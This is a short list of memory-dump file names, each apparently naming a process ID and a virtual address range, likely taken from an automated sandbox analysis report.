memory/2888-53-0x00007FF6B8380000-0x00007FF6B8772000-memory.dmp
memory/2996-2020-0x00007FF6E0C30000-0x00007FF6E1022000-memory.dmp
memory/2996-390-0x00007FF6E0C30000-0x00007FF6E1022000-memory.dmp
memory/3248-2046-0x00007FF6EFE10000-0x00007FF6F0202000-memory.dmp
memory/3248-435-0x00007FF6EFE10000-0x00007FF6F0202000-memory.dmp
memory/3280-0-0x00007FF7B7270000-0x00007FF7B7662000-memory.dmp
memory/3280-1-0x000002CCB9740000-0x000002CCB9750000-memory.dmp
memory/3408-406-0x00007FF6717C0000-0x00007FF671BB2000-memory.dmp
memory/3408-2023-0x00007FF6717C0000-0x00007FF671BB2000-memory.dmp
memory/3604-2002-0x00007FF6BF200000-0x00007FF6BF5F2000-memory.dmp
memory/3604-42-0x00007FF6BF200000-0x00007FF6BF5F2000-memory.dmp
memory/3920-2006-0x00007FF6A3630000-0x00007FF6A3A22000-memory.dmp
memory/3920-1949-0x00007FF6A3630000-0x00007FF6A3A22000-memory.dmp
memory/3920-59-0x00007FF6A3630000-0x00007FF6A3A22000-memory.dmp
memory/4416-448-0x00007FF6E4160000-0x00007FF6E4552000-memory.dmp
memory/4416-2011-0x00007FF6E4160000-0x00007FF6E4552000-memory.dmp
memory/4800-467-0x00007FF6C7E30000-0x00007FF6C8222000-memory.dmp
memory/4800-2013-0x00007FF6C7E30000-0x00007FF6C8222000-memory.dmp